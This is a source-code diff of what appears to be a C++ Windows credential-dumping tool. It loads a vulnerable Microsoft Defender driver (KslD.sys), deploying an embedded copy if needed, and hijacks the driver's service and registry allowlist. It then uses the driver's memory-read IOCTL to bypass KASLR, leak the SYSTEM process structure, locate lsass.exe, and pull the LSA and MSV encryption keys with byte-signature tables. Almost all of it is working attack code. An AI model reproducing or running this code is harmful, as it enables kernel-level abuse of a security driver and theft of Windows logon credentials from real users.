"bd17231833aa369b3b2b6963899bf05dbefd673db270aec15446f2fab4a17b5a";
|
||||
|
||||
// ================================================================
|
||||
// Raw IOCTL
|
||||
// ================================================================
|
||||
std::pair<bool, Bytes> ioctl_raw(HANDLE h, const void* in_buf, DWORD in_size, DWORD out_size) {
|
||||
Bytes out(out_size, 0);
|
||||
DWORD bytes_ret = 0;
|
||||
BOOL ok = DeviceIoControl(h, KSLD_IOCTL,
|
||||
const_cast<void*>(in_buf), in_size,
|
||||
out.data(), out_size, &bytes_ret, nullptr);
|
||||
if (ok && bytes_ret > 0) {
|
||||
out.resize(bytes_ret);
|
||||
return { true, std::move(out) };
|
||||
}
|
||||
return { false, {} };
|
||||
}
|
||||
|
||||
std::pair<bool, Bytes> subcmd2(HANDLE h) {
|
||||
IoSubCmd2 cmd{ .sub_cmd = 2, .reserved = 0 };
|
||||
return ioctl_raw(h, &cmd, sizeof(cmd), 512);
|
||||
}
|
||||
|
||||
Bytes phys_read(HANDLE h, uint64_t addr, uint64_t size) {
|
||||
IoReadInput req{ .sub_cmd = 12, .reserved = 0, .address = addr,
|
||||
.size = size, .mode = 1, .padding = 0 };
|
||||
DWORD out_sz = static_cast<DWORD>(std::max<uint64_t>(size + 256, 4096));
|
||||
auto [ok, data] = ioctl_raw(h, &req, sizeof(req), out_sz);
|
||||
return (data.size() >= size) ? data : Bytes{};
|
||||
}
|
||||
|
||||
static Bytes virt_read_single(HANDLE h, uint64_t addr, uint64_t size) {
|
||||
IoReadInput req{ .sub_cmd = 12, .reserved = 0, .address = addr,
|
||||
.size = size, .mode = 2, .padding = 0 };
|
||||
DWORD out_sz = static_cast<DWORD>(std::max<uint64_t>(size + 256, 4096));
|
||||
auto [ok, data] = ioctl_raw(h, &req, sizeof(req), out_sz);
|
||||
return (data.size() >= size) ? data : Bytes{};
|
||||
}
|
||||
|
||||
Bytes virt_read(HANDLE h, uint64_t addr, uint64_t size) {
|
||||
auto data = virt_read_single(h, addr, size);
|
||||
if (!data.empty()) return data;
|
||||
Bytes result;
|
||||
result.reserve(static_cast<size_t>(size));
|
||||
for (uint64_t off = 0; off < size; ) {
|
||||
uint64_t chunk = std::min<uint64_t>(0x400, size - off);
|
||||
auto part = virt_read_single(h, addr + off, chunk);
|
||||
if (part.empty()) return {};
|
||||
result.insert(result.end(), part.begin(), part.begin() + chunk);
|
||||
off += chunk;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Path helpers
|
||||
// ================================================================
|
||||
static std::wstring get_drivers_dir() {
|
||||
wchar_t sys[MAX_PATH]{};
|
||||
GetSystemWindowsDirectoryW(sys, MAX_PATH);
|
||||
return std::wstring(sys) + L"\\System32\\drivers\\";
|
||||
}
|
||||
|
||||
static std::wstring get_nt_volume_path(const std::wstring& win32_path) {
|
||||
wchar_t vol_name[MAX_PATH]{};
|
||||
if (QueryDosDeviceW(win32_path.substr(0, 2).c_str(), vol_name, MAX_PATH))
|
||||
return std::wstring(vol_name) + win32_path.substr(2);
|
||||
return L"\\Device\\HarddiskVolume3" + win32_path.substr(2);
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// SHA256 of a file
|
||||
// ================================================================
|
||||
static std::string sha256_file(const std::wstring& path) {
|
||||
std::ifstream f(path, std::ios::binary);
|
||||
if (!f) return {};
|
||||
|
||||
BCRYPT_ALG_HANDLE alg = nullptr;
|
||||
BCRYPT_HASH_HANDLE hash = nullptr;
|
||||
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&alg, BCRYPT_SHA256_ALGORITHM, nullptr, 0)))
|
||||
return {};
|
||||
if (!BCRYPT_SUCCESS(BCryptCreateHash(alg, &hash, nullptr, 0, nullptr, 0, 0))) {
|
||||
BCryptCloseAlgorithmProvider(alg, 0); return {};
|
||||
}
|
||||
|
||||
uint8_t buf[8192];
|
||||
while (f.read(reinterpret_cast<char*>(buf), sizeof(buf)) || f.gcount() > 0) {
|
||||
BCryptHashData(hash, buf, static_cast<ULONG>(f.gcount()), 0);
|
||||
if (f.eof()) break;
|
||||
}
|
||||
|
||||
uint8_t digest[32]{};
|
||||
BCryptFinishHash(hash, digest, 32, 0);
|
||||
BCryptDestroyHash(hash);
|
||||
BCryptCloseAlgorithmProvider(alg, 0);
|
||||
|
||||
std::string hex;
|
||||
hex.reserve(64);
|
||||
for (auto b : digest) hex += std::format("{:02x}", b);
|
||||
return hex;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Driver check: returns path to usable driver, or empty
|
||||
// ================================================================
|
||||
static std::wstring find_vulnerable_driver() {
|
||||
auto dir = get_drivers_dir();
|
||||
|
||||
// Priority 1: Original KslD.sys (if Defender installed the vulnerable version)
|
||||
auto ksld_path = dir + L"KslD.sys";
|
||||
if (std::filesystem::exists(ksld_path) &&
|
||||
std::filesystem::file_size(ksld_path) == VKSLD_SIZE) {
|
||||
auto hash = sha256_file(ksld_path);
|
||||
if (hash == VKSLD_SHA256) {
|
||||
std::cout << " Found vulnerable KslD.sys (SHA256 match)\n";
|
||||
return ksld_path;
|
||||
}
|
||||
}
|
||||
|
||||
// Priority 2: Pre-existing vKslD.sys
|
||||
auto vksld_path = dir + L"vKslD.sys";
|
||||
if (std::filesystem::exists(vksld_path) &&
|
||||
std::filesystem::file_size(vksld_path) == VKSLD_SIZE) {
|
||||
auto hash = sha256_file(vksld_path);
|
||||
if (hash == VKSLD_SHA256) {
|
||||
std::cout << " Found existing vKslD.sys (SHA256 match)\n";
|
||||
return vksld_path;
|
||||
}
|
||||
}
|
||||
|
||||
return {};
|
||||
}
|
||||
|
||||
static std::wstring deploy_embedded_driver() {
|
||||
auto path = get_drivers_dir() + L"vKslD.sys";
|
||||
std::cout << " Deploying embedded driver to vKslD.sys...\n";
|
||||
|
||||
HANDLE hf = CreateFileW(path.c_str(), GENERIC_WRITE, 0, nullptr,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
|
||||
if (hf == INVALID_HANDLE_VALUE) {
|
||||
std::cerr << std::format("[-] CreateFile failed: {}\n", GetLastError());
|
||||
return {};
|
||||
}
|
||||
|
||||
DWORD written = 0;
|
||||
BOOL ok = WriteFile(hf, VKSLD_DATA, static_cast<DWORD>(VKSLD_SIZE), &written, nullptr);
|
||||
CloseHandle(hf);
|
||||
|
||||
if (!ok || written != VKSLD_SIZE) {
|
||||
DeleteFileW(path.c_str());
|
||||
return {};
|
||||
}
|
||||
|
||||
auto hash = sha256_file(path);
|
||||
if (hash != VKSLD_SHA256) {
|
||||
std::cerr << "[-] Deployed driver hash mismatch\n";
|
||||
DeleteFileW(path.c_str());
|
||||
return {};
|
||||
}
|
||||
|
||||
std::cout << " Driver deployed and verified\n";
|
||||
return path;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Derive the relative ImagePath for SCM from a full path
|
||||
// e.g. C:\Windows\System32\drivers\vKslD.sys -> system32\drivers\vKslD.sys
|
||||
// ================================================================
|
||||
static std::wstring to_relative_image_path(const std::wstring& full_path) {
|
||||
// Find "System32" in the path (case insensitive)
|
||||
auto lower = full_path;
|
||||
for (auto& c : lower) c = static_cast<wchar_t>(std::towlower(c));
|
||||
auto pos = lower.find(L"system32");
|
||||
if (pos != std::wstring::npos)
|
||||
return full_path.substr(pos);
|
||||
// Fallback: just use full path
|
||||
return full_path;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// SCM service management
|
||||
// ================================================================
|
||||
DriverState setup_ksld() {
|
||||
DriverState state;
|
||||
|
||||
// Step 1: Find or deploy driver
|
||||
auto driver_path = find_vulnerable_driver();
|
||||
if (driver_path.empty()) {
|
||||
driver_path = deploy_embedded_driver();
|
||||
if (driver_path.empty())
|
||||
throw std::runtime_error("Vulnerable driver not available");
|
||||
state.driver_was_deployed = true;
|
||||
}
|
||||
|
||||
std::wstring image_path = to_relative_image_path(driver_path);
|
||||
|
||||
// Step 2: Open SCM
|
||||
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!scm)
|
||||
throw std::runtime_error(std::format("OpenSCManager failed: {}", GetLastError()));
|
||||
|
||||
// Step 3: Open or create service
|
||||
SC_HANDLE svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_ALL_ACCESS);
|
||||
if (!svc) {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
svc = CreateServiceW(scm, SERVICE_NAME, SERVICE_NAME,
|
||||
SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_NORMAL, image_path.c_str(),
|
||||
nullptr, nullptr, nullptr, nullptr, nullptr);
|
||||
if (!svc) {
|
||||
CloseServiceHandle(scm);
|
||||
throw std::runtime_error(std::format("CreateService failed: {}", GetLastError()));
|
||||
}
|
||||
state.service_was_created = true;
|
||||
std::cout << " Created KslD service\n";
|
||||
} else {
|
||||
CloseServiceHandle(scm);
|
||||
throw std::runtime_error(std::format("OpenService failed: {}", GetLastError()));
|
||||
}
|
||||
} else {
|
||||
// Save original config
|
||||
DWORD needed = 0;
|
||||
QueryServiceConfigW(svc, nullptr, 0, &needed);
|
||||
std::vector<uint8_t> buf(needed);
|
||||
auto* cfg = reinterpret_cast<QUERY_SERVICE_CONFIGW*>(buf.data());
|
||||
if (QueryServiceConfigW(svc, cfg, needed, &needed) && cfg->lpBinaryPathName)
|
||||
state.orig_image_path = cfg->lpBinaryPathName;
|
||||
|
||||
// Stop if running
|
||||
SERVICE_STATUS ss{};
|
||||
ControlService(svc, SERVICE_CONTROL_STOP, &ss);
|
||||
Sleep(2000);
|
||||
|
||||
// Change ImagePath to our driver
|
||||
ChangeServiceConfigW(svc, SERVICE_NO_CHANGE, SERVICE_NO_CHANGE, SERVICE_NO_CHANGE,
|
||||
image_path.c_str(), nullptr, nullptr, nullptr, nullptr, nullptr, nullptr);
|
||||
}
|
||||
|
||||
// Step 4: AllowedProcessName (treiberspezifisch, nur Registry)
|
||||
{
|
||||
HKEY hk = nullptr;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\KslD",
|
||||
0, KEY_ALL_ACCESS, &hk) == ERROR_SUCCESS) {
|
||||
// Save original
|
||||
wchar_t orig_buf[1024]{};
|
||||
DWORD orig_sz = sizeof(orig_buf);
|
||||
if (RegQueryValueExW(hk, L"AllowedProcessName", nullptr, nullptr,
|
||||
reinterpret_cast<LPBYTE>(orig_buf), &orig_sz) == ERROR_SUCCESS)
|
||||
state.orig_allowed = orig_buf;
|
||||
|
||||
// Set to our exe
|
||||
wchar_t exe_path[MAX_PATH]{};
|
||||
GetModuleFileNameW(nullptr, exe_path, MAX_PATH);
|
||||
std::wstring allowed = get_nt_volume_path(exe_path);
|
||||
RegSetValueExW(hk, L"AllowedProcessName", 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(allowed.c_str()),
|
||||
static_cast<DWORD>((allowed.size() + 1) * sizeof(wchar_t)));
|
||||
RegCloseKey(hk);
|
||||
}
|
||||
}
|
||||
|
||||
// Step 5: Start service
|
||||
if (!StartServiceW(svc, 0, nullptr)) {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
CloseServiceHandle(svc); CloseServiceHandle(scm);
|
||||
throw std::runtime_error(std::format("StartService failed: {}", err));
|
||||
}
|
||||
}
|
||||
Sleep(2000);
|
||||
CloseServiceHandle(svc);
|
||||
CloseServiceHandle(scm);
|
||||
|
||||
// Step 6: Open device
|
||||
HANDLE h = CreateFileW(L"\\\\.\\KslD", GENERIC_READ | GENERIC_WRITE,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||
nullptr, OPEN_EXISTING, 0, nullptr);
|
||||
if (h == INVALID_HANDLE_VALUE)
|
||||
throw std::runtime_error(std::format("CreateFile(\\\\.\\KslD) failed: {}", GetLastError()));
|
||||
|
||||
state.handle = KslDHandle(h);
|
||||
return state;
|
||||
}
|
||||
|
||||
void cleanup_ksld(DriverState& state) {
|
||||
state.handle.close();
|
||||
|
||||
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!scm) return;
|
||||
SC_HANDLE svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_ALL_ACCESS);
|
||||
if (!svc) { CloseServiceHandle(scm); return; }
|
||||
|
||||
SERVICE_STATUS ss{};
|
||||
ControlService(svc, SERVICE_CONTROL_STOP, &ss);
|
||||
Sleep(1000);
|
||||
|
||||
if (state.service_was_created) {
|
||||
DeleteService(svc);
|
||||
} else {
|
||||
if (!state.orig_image_path.empty())
|
||||
ChangeServiceConfigW(svc, SERVICE_NO_CHANGE, SERVICE_NO_CHANGE, SERVICE_NO_CHANGE,
|
||||
state.orig_image_path.c_str(), nullptr, nullptr, nullptr, nullptr, nullptr, nullptr);
|
||||
if (!state.orig_allowed.empty()) {
|
||||
HKEY hk = nullptr;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\KslD",
|
||||
0, KEY_SET_VALUE, &hk) == ERROR_SUCCESS) {
|
||||
RegSetValueExW(hk, L"AllowedProcessName", 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(state.orig_allowed.c_str()),
|
||||
static_cast<DWORD>((state.orig_allowed.size() + 1) * sizeof(wchar_t)));
|
||||
RegCloseKey(hk);
|
||||
}
|
||||
}
|
||||
StartServiceW(svc, 0, nullptr);
|
||||
}
|
||||
|
||||
CloseServiceHandle(svc);
|
||||
CloseServiceHandle(scm);
|
||||
|
||||
if (state.driver_was_deployed) {
|
||||
Sleep(500);
|
||||
auto path = get_drivers_dir() + L"vKslD.sys";
|
||||
if (DeleteFileW(path.c_str()))
|
||||
std::cout << " Removed deployed vKslD.sys\n";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
#pragma once
|
||||
#include "common.h"
|
||||
#include <tuple>
|
||||
|
||||
constexpr DWORD KSLD_IOCTL = 0x222044;
|
||||
|
||||
#pragma pack(push, 1)
|
||||
struct IoReadInput {
|
||||
uint32_t sub_cmd;
|
||||
uint32_t reserved;
|
||||
uint64_t address;
|
||||
uint64_t size;
|
||||
uint32_t mode; // 1 = physical, 2 = virtual
|
||||
uint32_t padding;
|
||||
};
|
||||
|
||||
struct IoSubCmd2 {
|
||||
uint32_t sub_cmd;
|
||||
uint32_t reserved;
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
// RAII handle wrapper
|
||||
class KslDHandle {
|
||||
public:
|
||||
KslDHandle() = default;
|
||||
explicit KslDHandle(HANDLE h) : m_handle(h) {}
|
||||
~KslDHandle() { close(); }
|
||||
KslDHandle(const KslDHandle&) = delete;
|
||||
KslDHandle& operator=(const KslDHandle&) = delete;
|
||||
KslDHandle(KslDHandle&& o) noexcept : m_handle(o.m_handle) { o.m_handle = INVALID_HANDLE_VALUE; }
|
||||
KslDHandle& operator=(KslDHandle&& o) noexcept {
|
||||
if (this != &o) { close(); m_handle = o.m_handle; o.m_handle = INVALID_HANDLE_VALUE; }
|
||||
return *this;
|
||||
}
|
||||
[[nodiscard]] HANDLE get() const { return m_handle; }
|
||||
[[nodiscard]] bool valid() const { return m_handle != INVALID_HANDLE_VALUE && m_handle != nullptr; }
|
||||
void close() { if (valid()) { CloseHandle(m_handle); m_handle = INVALID_HANDLE_VALUE; } }
|
||||
private:
|
||||
HANDLE m_handle = INVALID_HANDLE_VALUE;
|
||||
};
|
||||
|
||||
// Driver state
|
||||
struct DriverState {
|
||||
KslDHandle handle;
|
||||
std::wstring orig_image_path;
|
||||
std::wstring orig_allowed;
|
||||
bool driver_was_deployed = false;
|
||||
bool service_was_created = false;
|
||||
};
|
||||
|
||||
DriverState setup_ksld();
|
||||
void cleanup_ksld(DriverState& state);
|
||||
|
||||
// Raw IOCTL
|
||||
std::pair<bool, Bytes> ioctl_raw(HANDLE h, const void* in_buf, DWORD in_size, DWORD out_size = 4096);
|
||||
|
||||
// SubCmd 2 (register dump)
|
||||
std::pair<bool, Bytes> subcmd2(HANDLE h);
|
||||
|
||||
// Physical / virtual reads
|
||||
Bytes phys_read(HANDLE h, uint64_t addr, uint64_t size);
|
||||
Bytes virt_read(HANDLE h, uint64_t addr, uint64_t size);
|
||||
+20838
File diff suppressed because it is too large
Load Diff
+634
@@ -0,0 +1,634 @@
|
||||
#include "lsa.h"
|
||||
#include <algorithm>
|
||||
#include <cwctype>
|
||||
#include <fstream>
|
||||
#include "crypto.h"
|
||||
|
||||
// ================================================================
|
||||
// Signature tables
|
||||
// ================================================================
|
||||
|
||||
// MSV signatures: pattern, fe_off, cnt_off, corr_off, min_build
|
||||
static const uint8_t msv_pat0[] = { 0x45,0x89,0x34,0x24,0x48,0x8b,0xfb,0x45,0x85,0xc0,0x0f };
|
||||
static const uint8_t msv_pat1[] = { 0x45,0x89,0x34,0x24,0x8b,0xfb,0x45,0x85,0xc0,0x0f };
|
||||
static const uint8_t msv_pat2[] = { 0x45,0x89,0x37,0x49,0x4c,0x8b,0xf7,0x8b,0xf3,0x45,0x85,0xc0,0x0f };
|
||||
static const uint8_t msv_pat3[] = { 0x45,0x89,0x34,0x24,0x4c,0x8b,0xff,0x8b,0xf3,0x45,0x85,0xc0,0x74 };
|
||||
static const uint8_t msv_pat4[] = { 0x33,0xff,0x41,0x89,0x37,0x4c,0x8b,0xf3,0x45,0x85,0xc0,0x74 };
|
||||
static const uint8_t msv_pat5[] = { 0x33,0xff,0x41,0x89,0x37,0x4c,0x8b,0xf3,0x45,0x85,0xc9,0x74 };
|
||||
static const uint8_t msv_pat6[] = { 0x33,0xff,0x45,0x89,0x37,0x48,0x8b,0xf3,0x45,0x85,0xc9,0x74 };
|
||||
static const uint8_t msv_pat7[] = { 0x33,0xff,0x41,0x89,0x37,0x4c,0x8b,0xf3,0x45,0x85,0xc0,0x74 };
|
||||
|
||||
#define SIG(arr) arr, sizeof(arr)
|
||||
|
||||
static constexpr MsvSig MSV_SIGS[] = {
|
||||
{ msv_pat0, sizeof(msv_pat0), 25, -16, 34, 26200 },
|
||||
{ msv_pat1, sizeof(msv_pat1), 25, -16, 34, 26200 },
|
||||
{ msv_pat2, sizeof(msv_pat2), 27, -4, 0, 22631 },
|
||||
{ msv_pat3, sizeof(msv_pat3), 24, -4, 0, 20348 },
|
||||
{ msv_pat4, sizeof(msv_pat4), 23, -4, 0, 18362 },
|
||||
{ msv_pat5, sizeof(msv_pat5), 23, -4, 0, 17134 },
|
||||
{ msv_pat6, sizeof(msv_pat6), 23, -4, 0, 15063 },
|
||||
{ msv_pat7, sizeof(msv_pat7), 16, -4, 0, 10240 },
|
||||
};
|
||||
|
||||
// LSA signatures: pattern, iv_off, des_off, aes_off, hk_off
|
||||
static const uint8_t lsa_pat_a[] = {
|
||||
0x83,0x64,0x24,0x30,0x00,0x48,0x8d,0x45,0xe0,0x44,0x8b,0x4d,0xd8,0x48,0x8d,0x15
|
||||
};
|
||||
static const uint8_t lsa_pat_b[] = {
|
||||
0x83,0x64,0x24,0x30,0x00,0x44,0x8b,0x4d,0xd8,0x48,0x8b,0x0d
|
||||
};
|
||||
static const uint8_t lsa_pat_c[] = {
|
||||
0x83,0x64,0x24,0x30,0x00,0x44,0x8b,0x4c,0x24,0x48,0x48,0x8b,0x0d
|
||||
};
|
||||
|
||||
static constexpr LsaSig LSA_SIGS[] = {
|
||||
{ lsa_pat_a, sizeof(lsa_pat_a), 71, -89, 16, 0x38 },
|
||||
{ lsa_pat_a, sizeof(lsa_pat_a), 58, -89, 16, 0x38 },
|
||||
{ lsa_pat_a, sizeof(lsa_pat_a), 67, -89, 16, 0x38 },
|
||||
{ lsa_pat_a, sizeof(lsa_pat_a), 61, -73, 16, 0x38 },
|
||||
{ lsa_pat_b, sizeof(lsa_pat_b), 62, -70, 23, 0x38 },
|
||||
{ lsa_pat_b, sizeof(lsa_pat_b), 62, -70, 23, 0x28 },
|
||||
{ lsa_pat_b, sizeof(lsa_pat_b), 58, -62, 23, 0x28 },
|
||||
{ lsa_pat_c, sizeof(lsa_pat_c), 59, -61, 25, 0x18 },
|
||||
{ lsa_pat_c, sizeof(lsa_pat_c), 63, -69, 25, 0x18 },
|
||||
};
|
||||
|
||||
// ================================================================
|
||||
// BCrypt key handle extraction from lsass memory
|
||||
// ================================================================
|
||||
static Bytes extract_bcrypt_key(HANDLE h, uint64_t dtb, uint64_t ptr_va, uint32_t hk_off) {
|
||||
uint64_t handle_va = read_ptr(h, dtb, ptr_va);
|
||||
if (!handle_va) return {};
|
||||
|
||||
auto hk = proc_read(h, dtb, handle_va, 0x20);
|
||||
if (hk.size() < 0x20) return {};
|
||||
|
||||
// Check for RUUU tag at offset 4
|
||||
if (std::memcmp(hk.data() + 4, "RUUU", 4) != 0) return {};
|
||||
|
||||
uint64_t key_va = rp(hk.data(), 0x10);
|
||||
if (!key_va) return {};
|
||||
|
||||
auto kd = proc_read(h, dtb, key_va, hk_off + 0x30);
|
||||
if (kd.size() < hk_off + 0x30) return {};
|
||||
|
||||
uint32_t cb = rd(kd.data(), hk_off);
|
||||
if (cb == 0 || cb > 64) return {};
|
||||
|
||||
return Bytes(kd.begin() + hk_off + 4, kd.begin() + hk_off + 4 + cb);
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// KASLR bypass via SubCmd 2
|
||||
// ================================================================
|
||||
SubCmd2Info kaslr_bypass(HANDLE h) {
|
||||
auto [ok, regs] = subcmd2(h);
|
||||
if (!ok || regs.size() < 448)
|
||||
throw std::runtime_error("SubCmd 2 failed");
|
||||
|
||||
uint64_t idtr = 0, cr3 = 0;
|
||||
for (size_t i = 0; i + 15 < regs.size(); i += 16) {
|
||||
char name[9]{};
|
||||
std::memcpy(name, regs.data() + i, 8);
|
||||
uint64_t val = rp(regs.data(), i + 8);
|
||||
if (std::strcmp(name, "idtr") == 0) idtr = val;
|
||||
if (std::strcmp(name, "cr3") == 0) cr3 = val;
|
||||
}
|
||||
|
||||
std::cout << std::format(" idtr={:#x} cr3={:#x}\n", idtr, cr3);
|
||||
|
||||
if (!idtr)
|
||||
throw std::runtime_error("No IDTR in SubCmd 2 output");
|
||||
|
||||
auto idt = virt_read(h, idtr, 256);
|
||||
if (idt.empty())
|
||||
throw std::runtime_error("Failed to read IDT");
|
||||
|
||||
uint64_t min_isr = 0;
|
||||
size_t n_entries = std::min<size_t>(16, idt.size() / 16);
|
||||
for (size_t i = 0; i < n_entries; ++i) {
|
||||
const uint8_t* e = idt.data() + i * 16;
|
||||
uint64_t isr = static_cast<uint64_t>(rw(e, 0))
|
||||
| (static_cast<uint64_t>(rw(e, 6)) << 16)
|
||||
| (static_cast<uint64_t>(rd(e, 8)) << 32);
|
||||
if (isr > 0xFFFF000000000000ULL) {
|
||||
if (min_isr == 0 || isr < min_isr)
|
||||
min_isr = isr;
|
||||
}
|
||||
}
|
||||
if (!min_isr)
|
||||
throw std::runtime_error("No valid ISR in IDT");
|
||||
|
||||
uint64_t ntos_base = 0;
|
||||
uint64_t scan_base = min_isr & ~0xFFFULL;
|
||||
for (uint32_t i = 0; i < 4096; ++i) {
|
||||
auto page = virt_read(h, scan_base - i * 0x1000, 2);
|
||||
if (page.size() >= 2 && page[0] == 'M' && page[1] == 'Z') {
|
||||
ntos_base = scan_base - i * 0x1000;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!ntos_base)
|
||||
throw std::runtime_error("ntoskrnl base not found");
|
||||
|
||||
return SubCmd2Info{ .ntos_base = ntos_base, .kpcr = 0, .cr3 = cr3 };
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Leak SYSTEM EPROCESS via SystemHandleInformation (class 16)
|
||||
// SeDebug privilege must be enabled or Object pointers are zeroed.
|
||||
// ================================================================
|
||||
|
||||
struct SYSTEM_HANDLE_TABLE_ENTRY_INFO {
|
||||
USHORT UniqueProcessId;
|
||||
USHORT CreatorBackTraceIndex;
|
||||
UCHAR ObjectTypeIndex;
|
||||
UCHAR HandleAttributes;
|
||||
USHORT HandleValue;
|
||||
PVOID Object;
|
||||
ULONG GrantedAccess;
|
||||
};
|
||||
|
||||
struct SYSTEM_HANDLE_INFORMATION_S {
|
||||
ULONG NumberOfHandles;
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||
};
|
||||
|
||||
using NtQuerySystemInformation_t = LONG(WINAPI*)(ULONG, PVOID, ULONG, PULONG);
|
||||
using RtlAdjustPrivilege_t = LONG(NTAPI*)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
|
||||
|
||||
static uint64_t leak_system_eprocess() {
|
||||
auto ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||
|
||||
auto NtQuerySystemInformation = reinterpret_cast<NtQuerySystemInformation_t>(
|
||||
GetProcAddress(ntdll, "NtQuerySystemInformation"));
|
||||
auto RtlAdjustPrivilege = reinterpret_cast<RtlAdjustPrivilege_t>(
|
||||
GetProcAddress(ntdll, "RtlAdjustPrivilege"));
|
||||
|
||||
if (!NtQuerySystemInformation || !RtlAdjustPrivilege)
|
||||
throw std::runtime_error("Cannot resolve ntdll functions");
|
||||
|
||||
// Enable SeDebug privilege (required for Object pointers in handle table)
|
||||
BOOLEAN old = FALSE;
|
||||
RtlAdjustPrivilege(20 /*SE_DEBUG_PRIVILEGE*/, TRUE, FALSE, &old);
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, 4);
|
||||
if (!hProcess)
|
||||
throw std::runtime_error(std::format("OpenProcess(PID 4) failed: {}", GetLastError()));
|
||||
|
||||
DWORD my_pid = GetCurrentProcessId();
|
||||
USHORT my_handle = static_cast<USHORT>(reinterpret_cast<uintptr_t>(hProcess));
|
||||
|
||||
std::cout << std::format(" Handle to SYSTEM (PID 4), our PID={}, handle={:#x}\n",
|
||||
my_pid, my_handle);
|
||||
|
||||
// Query SystemHandleInformation (class 16) with do-while doubling
|
||||
ULONG len = sizeof(SYSTEM_HANDLE_INFORMATION_S);
|
||||
SYSTEM_HANDLE_INFORMATION_S* info = nullptr;
|
||||
LONG status;
|
||||
ULONG out_len;
|
||||
|
||||
do {
|
||||
len *= 2;
|
||||
if (info) GlobalFree(info);
|
||||
info = static_cast<SYSTEM_HANDLE_INFORMATION_S*>(GlobalAlloc(GMEM_ZEROINIT, len));
|
||||
if (!info) {
|
||||
CloseHandle(hProcess);
|
||||
throw std::runtime_error("GlobalAlloc failed");
|
||||
}
|
||||
status = NtQuerySystemInformation(16, info, len, &out_len);
|
||||
} while (status == static_cast<LONG>(0xC0000004));
|
||||
|
||||
if (status != 0) {
|
||||
CloseHandle(hProcess);
|
||||
GlobalFree(info);
|
||||
throw std::runtime_error(std::format("NtQuerySystemInformation failed: {:#x}",
|
||||
static_cast<uint32_t>(status)));
|
||||
}
|
||||
|
||||
std::cout << std::format(" Handle table: {} entries\n", info->NumberOfHandles);
|
||||
|
||||
uint64_t system_eprocess = 0;
|
||||
for (ULONG i = 0; i < info->NumberOfHandles; ++i) {
|
||||
auto& entry = info->Handles[i];
|
||||
if (entry.UniqueProcessId == static_cast<USHORT>(my_pid) &&
|
||||
entry.HandleValue == my_handle) {
|
||||
system_eprocess = reinterpret_cast<uint64_t>(entry.Object);
|
||||
std::cout << std::format(" SYSTEM EPROCESS={:#x}\n", system_eprocess);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(hProcess);
|
||||
GlobalFree(info);
|
||||
|
||||
if (!system_eprocess)
|
||||
throw std::runtime_error("Handle not found in system handle table");
|
||||
|
||||
return system_eprocess;
|
||||
}
|
||||
|
||||
// ================================================================
|
||||
// Find lsass.exe: leak SYSTEM EPROCESS -> detect offsets with PID=4 -> walk list
|
||||
// ================================================================
|
||||
LsassInfo find_lsass(HANDLE h) {
|
||||
uint64_t sys_ep = leak_system_eprocess();
|
||||
|
||||
// Read SYSTEM EPROCESS (PID=4) to detect offsets
|
||||
auto ep_data = virt_read(h, sys_ep, 0x800);
|
||||
if (ep_data.size() < 0x800)
|
||||
throw std::runtime_error("Cannot read SYSTEM EPROCESS");
|
||||
|
||||
uint32_t off_pid = 0, off_links = 0, off_name = 0;
|
||||
|
||||
// Find UniqueProcessId=4 followed by ActiveProcessLinks (kernel pointer)
|
||||
for (uint32_t off = 0x100; off < 0x600; off += 8) {
|
||||
if (rp(ep_data.data(), off) == 4) {
|
||||
uint64_t nxt = rp(ep_data.data(), off + 8);
|
||||
if (nxt > 0xFFFF000000000000ULL) {
|
||||
off_pid = off;
|
||||
off_links = off + 8;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Find ImageFileName "System"
|
||||
for (uint32_t off = 0x200; off < 0x700; ++off) {
|
||||
if (ep_data[off] == 'S' && std::memcmp(ep_data.data() + off, "System\0", 7) == 0) {
|
||||
off_name = off;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
std::cout << std::format(" Offsets: PID={:#x} Links={:#x} Name={:#x}\n",
|
||||
off_pid, off_links, off_name);
|
||||
|
||||
if (!off_pid || !off_name)
|
||||
throw std::runtime_error("Cannot detect EPROCESS offsets");
|
||||
|
||||
std::cout << "[*] Walk ActiveProcessLinks from SYSTEM to find lsass.exe\n";
|
||||
uint64_t head = sys_ep + off_links;
|
||||
auto flink_data = virt_read(h, head, 8);
|
||||
if (flink_data.size() < 8)
|
||||
throw std::runtime_error("Cannot read ActiveProcessLinks");
|
||||
|
||||
